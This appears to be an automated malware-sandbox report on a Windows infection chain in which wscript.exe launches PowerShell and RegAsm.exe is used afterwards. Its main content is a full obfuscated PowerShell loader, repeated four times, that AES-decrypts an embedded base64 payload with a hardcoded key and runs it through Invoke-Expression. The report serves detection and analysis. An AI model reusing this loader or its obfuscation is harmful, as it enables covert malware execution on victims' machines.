Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion");IHost.StdIn();IHost.StdErr();IHost.StdOut();IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion");IHost.FullName();IWshShell3.Run("powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([Str", "0", "false")

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

3_2_0041CB50

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B878328 pushad ; retf	1_2_00007FFD9B878329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B87816B push ebx; ret	1_2_00007FFD9B87816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8780D3 push ebx; ret	1_2_00007FFD9B87816A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00457106 push ecx; ret	3_2_00457119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045B11A push esp; ret	3_2_0045B141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00457A28 push eax; ret	3_2_00457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434E56 push ecx; ret	3_2_00434E69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_10002806 push ecx; ret	3_2_10002819
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_10009FD8 push esi; ret	3_2_10009FD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044693D push ecx; ret	4_2_0044694D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044DB70 push eax; ret	4_2_0044DB84
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044DB70 push eax; ret	4_2_0044DBAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00451D54 push eax; ret	4_2_00451D61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0044B090 push eax; ret	5_2_0044B0A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0044B090 push eax; ret	5_2_0044B0CC
